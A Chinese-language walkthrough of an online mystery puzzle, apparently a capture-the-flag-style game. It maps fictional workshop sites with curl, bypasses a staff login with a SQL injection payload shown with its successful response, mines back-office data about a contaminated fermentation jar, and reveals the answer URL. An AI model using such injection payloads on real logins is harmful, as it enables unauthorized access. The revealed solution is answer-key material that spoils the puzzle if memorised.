入口：https://sichengnews.tw.solve.quest/article.html?id=20070604-001

拿到入口 URL，看 source 載了什麼。

curl -s 'https://sichengnews.tw.solve.quest/article.html?id=20070604-001' \
  | grep -oP '<script[^>]*src="[^"]*"'
<script src="slow-loader.js?v=e376583f5c73"
<script src="header-video.js?v=d3c08c376696"
<script src="site-config.js"
<script src="articles.js?v=d1b3f98eee01"
<script src="article-loader.js?v=39db4c25b032"
<script src="site.js?v=53dd80f27a7e"
<script src="navigation.js?v=2f0d38988749"
curl -s https://sichengnews.tw.solve.quest/site-config.js \
  | grep -oP '\{[^}]*\}' | head -1 | python3 -m json.tool
{
    "news": "https://sichengnews.tw.solve.quest",
    "trail": "https://baishaling-trail.tw.solve.quest",
    "soy": "https://hctouchuang.tw.solve.quest"
}
目前進度

逐站翻頁面，豆莊站 about.html 有個 /work/login.html。

curl -s https://hctouchuang.tw.solve.quest/about.html \
  | grep -oP 'href="[^"]*"' | sort -u
href="about.html"
href="assets/favicon.png"
href="contact.html"
href="index.html"
href="news.html"
href="process.html"
href="products.html"
href="style.css?v=58986ed229a5"
href="visit.html"
href="work/login.html"

看到 /work/login.html，先看它怎麼送 request 再試 SQLi。

curl -s https://hctouchuang.tw.solve.quest/work/login.html \
  | sed 's/></>\n</g' \
  | grep -iE '<title|script.*src|<h[12]>|<label|JPDATA|<footer'
<title>作業資料管理 JPDATA 5.3</title>
<script defer src="login.js?v=20070628">
<span class="admin-header-caption">作業資料管理 JPDATA 5.3</span>
<h1>員工作業登入</h1>
<h2>員工作業登入</h2>
<label>員工編號<br>
<label>通行碼<br>
<footer class="admin-footer">溪埕豆莊 作業資料管理<p>嘉平網訊工作室 / JPDATA 5.3</p>

看 /work/login.js 知道是 POST JSON 到 /work/api/login，欄位 employee + password，curl 要自己補 Origin。直接試 SQLi。

curl -s -X POST https://hctouchuang.tw.solve.quest/work/api/login \
  -H "Content-Type: application/json" \
  -H "Origin: https://hctouchuang.tw.solve.quest" \
  -c cookies.txt \
  -d $'{"employee":"\' OR 1=1 -- -","password":"x"}'
{"ok":true,"message":"查詢完成。正在開啟作業資料……"}

試了 VERSION()、UNION SELECT、SLEEP()、CONCAT() 全部無效，只有 OR 1=1、'a'='a' 這類純布林比較會過。推測不是真 MySQL，比較像是簡單的 parser 模擬。先拿 cookie 翻後台資料。

目前進度

進了後台，先看載了哪些 JS。

curl -s -b cookies.txt https://hctouchuang.tw.solve.quest/work/index.html \
  | grep -oP 'src="[^"]*\.js[^"]*"'
src="guard.js?v=20070628"
src="work.js?v=cc16b862d12b"
src="layout.js?v=6ec0d0b6cfbe"
src="operations-data.js?v=20070628a"
src="operations.js?v=a24223f00bef"
src="navigation.js?v=d18f5b9f0367"
src="menu.js?v=8f5f5d48806c"

operations-data.js 看名字像是資料檔，抓下來。

curl -s -b cookies.txt \
  'https://hctouchuang.tw.solve.quest/work/operations-data.js?v=20070628a' \
  -o ops.js && wc -c ops.js
141373 ops.js

先看 top-level 結構。

grep -oP '^  "[a-zA-Z]+"' ops.js | sort -u
"asOf"
"batches"
"closedDays"
"customers"
"holidayWork"
"incidentJar"
"indoorWorkDays"
"jarCycles"
"jarEvents"
"jarLayout"
"jarOpening"
"lots"
"materialIssues"
"materials"
"openingReceivables"
"orders"
"payments"
"plannedMaterialIssues"
"products"
"purchases"
"registerRevision"
"reservations"
"restDays"
"returns"
"schedule"
"shipments"
"yardQuietPeriod"

發現 incidentJar 事件紀錄。

grep 'incidentJar' ops.js
"incidentJar": 74

事件缸 74 號。帶上下文看所有相關紀錄。

grep -n -C3 '74' ops.js
1045-      "id": "F-OPEN-0601-I",
1046-      "product": "S600",
1047-      "sourceJars": [
1048:        74
1049-      ],
1050-      "date": "2007-03-15",
1051-      "stage": "受污染",
--
1058-        [
1059-          "入缸",
1060-          "2007-03-15",
1061:          "期初在製批；74 號"
1062-        ],
1063-        [
1064-          "覆缸收尾",
1065-          "2007-06-02",
1066:          "74 號；七十四　六月二日覆　預定六月二十三日查"
1067-        ],
1068-        [
1069-          "提前開缸",
--
1076-        66,
1077-        68,
1078-        73,
1079:        74
1080-      ],
1081-      "contaminatedDate": "2007-06-07",
1082-      "jarPausedDate": "2007-06-08",
--
1324-        66,
1325-        68,
1326-        73,
1327:        74
1328-      ]
1329-    },
1330-    {
--
2277-      "nextDate": "",
2278-      "history": [
2279-        [
2280:          "浸泡豆料、蒸煮拌麥（供 20、21、74 號）",
2281-          "2007-06-12",
2282-          "完成"
2283-        ],
2284-        [
2285:          "製麴照看與翻拌（供 20、21、74 號）",
2286-          "2007-06-13",
2287-          "完成"
2288-        ],
2289-        [
2290:          "出麴前整理（供 20、21、74 號）",
2291-          "2007-06-14",
2292-          "完成"
2293-        ],
--
2307-      "id": "F-070615-A",
2308-      "product": "S600",
2309-      "sourceJars": [
2310:        74
2311-      ],
2312-      "date": "2007-06-15",
2313-      "stage": "發酵中",
--
2320-        [
2321-          "出麴、加鹽水入缸",
2322-          "2007-06-15",
2323:          "74 號；1 口缸完成"
2324-        ],
2325-        [
2326-          "新批溫度、發酵活動查看",
2327-          "2007-06-16",
2328:          "74 號；1 口缸完成"
2329-        ],
2330-        [
2331-          "新批翻拌、覆缸",
2332-          "2007-06-18",
2333:          "74 號；1 口缸完成"
2334-        ],
2335-        [
2336-          "新批查看",
2337-          "2007-06-22",
2338:          "74 號；1 口缸完成"
2339-        ],
2340-        [
2341-          "新批翻拌、覆缸",
2342-          "2007-06-26",
2343:          "74 號；1 口缸完成"
2344-        ]
2345-      ],
2346-      "relatedBatch": "K-070612-A"
--
2352-      "date": "2007-06-12",
2353-      "stage": "已出麴／轉入缸",
2354-      "target": "1 口缸用麴",
2355:      "done": "已轉入 74 號",
2356-      "owner": "釀造組",
2357-      "next": "後續見入缸批",
2358-      "nextDate": "",
2359-      "history": [
2360-        [
2361:          "浸泡豆料、蒸煮拌麥（供 20、21、74 號）",
2362-          "2007-06-12",
2363-          "完成"
2364-        ],
2365-        [
2366:          "製麴照看與翻拌（供 20、21、74 號）",
2367-          "2007-06-13",
2368-          "完成"
2369-        ],
2370-        [
2371:          "出麴前整理（供 20、21、74 號）",
2372-          "2007-06-14",
2373-          "完成"
2374-        ],
2375-        [
2376-          "出麴、轉入醬缸",
2377-          "2007-06-15",
2378:          "已轉入；74 號"
2379-        ]
2380-      ],
2381-      "relatedBatch": "F-070615-A",
2382-      "destinationJars": [
2383:        74
2384-      ]
2385-    },
2386-    {
--
2871-      "note": "七十四　六月二日覆　預定六月二十三日查",
2872-      "logged": "",
2873-      "jarNumbers": [
2874:        74
2875-      ],
2876-      "glyph": "蓋",
2877-      "refs": [
--
3153-      "note": "已清理",
3154-      "logged": "2007-06-11",
3155-      "jarNumbers": [
3156:        74
3157-      ],
3158-      "glyph": "驗",
3159-      "refs": []
--
3257-      "date": "2007-06-12",
3258-      "slot": "",
3259-      "area": "製麴區",
3260:      "title": "浸泡豆料、蒸煮拌麥（供 20、21、74 號）",
3261-      "target": "3 口缸用麴",
3262-      "done": "完成",
3263-      "status": "完成",
--
3313-      "date": "2007-06-13",
3314-      "slot": "",
3315-      "area": "製麴區",
3316:      "title": "製麴照看與翻拌（供 20、21、74 號）",
3317-      "target": "3 口缸用麴",
3318-      "done": "完成",
3319-      "status": "完成",
--
3455-      "date": "2007-06-14",
3456-      "slot": "",
3457-      "area": "製麴區",
3458:      "title": "出麴前整理（供 20、21、74 號）",
3459-      "target": "3 口缸用麴",
3460-      "done": "完成",
3461-      "status": "完成",
--
3568-      "jarNumbers": [
3569-        20,
3570-        21,
3571:        74
3572-      ],
3573-      "glyph": "入",
3574-      "refs": [
--
3720-      "jarNumbers": [
3721-        20,
3722-        21,
3723:        74
3724-      ],
3725-      "glyph": "查",
3726-      "refs": [
--
3837-      "jarNumbers": [
3838-        20,
3839-        21,
3840:        74
3841-      ],
3842-      "glyph": "翻",
3843-      "refs": [
--
4250-      "jarNumbers": [
4251-        20,
4252-        21,
4253:        74
4254-      ],
4255-      "glyph": "查",
4256-      "refs": [
--
4642-      "jarNumbers": [
4643-        20,
4644-        21,
4645:        74
4646-      ],
4647-      "glyph": "翻",
4648-      "refs": [
--
5266-        66,
5267-        68,
5268-        73,
5269:        74
5270-      ]
5271-    },
5272-    {
--
6152-      "verifyAfter": ""
6153-    },
6154-    {
6155:      "jar": 74,
6156-      "initialFill": "2007-03-15",
6157-      "initialBatch": "F-OPEN-0601-I",
6158-      "fillDate": "2007-06-15",
--
6336-      {
6337-        "date": "2007-06-02",
6338-        "jarNumbers": [
6339:          74
6340-        ],
6341-        "title": "覆缸收尾"
6342-      }
--
6376-    "2007-06-21",
6377-    "2007-06-27"
6378-  ],
6379:  "incidentJar": 74
6380-};

看到「預定六月二十三日查」，來查查看 6/23 有沒有確實執行。

grep -n -C3 '6/23' ops.js
1068-        [
1069-          "提前開缸",
1070-          "2007-06-07",
1071:          "判定受污染；停止後續製作，原定 6/23 檢查取消。"
1072-        ]
1073-      ],
1074-      "opening": true,

74 號缸 6/2 覆缸 → 6/7 提前開缸判定受污染 → 原定 6/23 檢查取消。污染原因沒寫（jarContaminationNote 空白）。6/2 到 6/7 之間有問題，看看還有沒有其他相關痕跡。

目前進度

/work/work.js 下載翻了一下，看到 camera、recording、player.html 等關鍵字，有監視器系統。其中事件檔用 EV_ 開頭，grep 一下。

curl -s -b cookies.txt \
  'https://hctouchuang.tw.solve.quest/work/work.js?v=cc16b862d12b' -o work.js
grep -ni 'ev_' work.js
98:      content='<h2>'+date+'　事件清單</h2>'+(date==='2007-06-02'?table(['開始時間','結束時間','錄影時間','方式','檔案'],[['17:08:11','17:08:38','00:00:27','移動偵測','<a href="player.html?file=EV_170811">EV_170811</a>'],['16:55:08','16:56:17','00:01:09','移動偵測','<a href="player.html?file=EV_165508">EV_165508</a>']])+'<p class="result-count">共 2 筆事件。</p>':'<p class="empty-state">當日無已備份事件檔。</p><p class="result-count">共 0 筆事件。</p>');
102:    const tiles=date==='2007-06-02'?'<div class="event-thumbnails" hidden><a href="player.html?file=EV_170811"><div class="event-still"><img src="assets/recordings/IPC130A_20070602_170811.jpg" width="240" height="180" alt="17:08:11 事件錄影首個畫面"></div><b>EV_170811</b><span>17:08:11 — 17:08:38</span></a><a href="player.html?file=EV_165508"><div class="event-still"><img src="assets/recordings/IPC130A_20070602_165508.jpg" width="240" height="180" alt="16:55:08 事件錄影首個畫面"></div><b>EV_165508</b><span>16:55:08 — 16:56:17</span></a></div>':'';
116:  const late=q.get('file')==='EV_170811';
117:  const file=late?'EV_170811':'EV_165508';
121:  player.innerHTML='<h2>'+file+'</h2><div class="playback-layout"><section><div class="video-label">IPC-130A　　2007-06-02　　'+start+'</div><div class="video-frame"><video class="video" preload="metadata" aria-label="缸場事件錄影"></video><canvas class="video-noise" width="320" height="240" aria-hidden="true"></canvas><div class="video-empty">影像尚未載入</div></div><div class="transport png-transport"><button id="play" disabled aria-label="播放"><img src="assets/player/play.png" width="20" height="20" alt=""></button><div class="seek-track"><input class="seek" type="range" min="0" max="100" value="0" step="0.01" disabled aria-label="錄影進度"></div><button id="mute" disabled aria-label="靜音" aria-pressed="false"><img src="assets/player/volume.png" width="20" height="20" alt=""></button></div><p id="media-status" role="status"></p></section><aside class="playback-info"><h2>事件資料</h2><dl><dt>鏡頭</dt><dd>IPC-130A</dd><dt>日期</dt><dd>2007-06-02</dd><dt>開始時間</dt><dd>'+start+'</dd><dt>結束時間</dt><dd>'+end+'</dd><dt>錄影時間</dt><dd>'+duration+'</dd><dt>錄影方式</dt><dd>移動偵測</dd></dl><a class="image-button" href="'+(file==='EV_165508'?'https://solve.quest/truth/hctc/':'images.html?date=2007-06-02&amp;camera=IPC-130A')+'"><img src="assets/button-'+(file==='EV_165508'?'end':'back')+'.svg" alt="'+(file==='EV_165508'?'結束':'返回當日事件清單')+'" height="22"></a></aside></div>';

6/2 有兩段移動偵測錄影。line 121 直接看到 EV_165508 → https://solve.quest/truth/hctc/（答案頁）。

打開 /work/player.html?file=EV_165508 就到了。

解題路徑：

解題路徑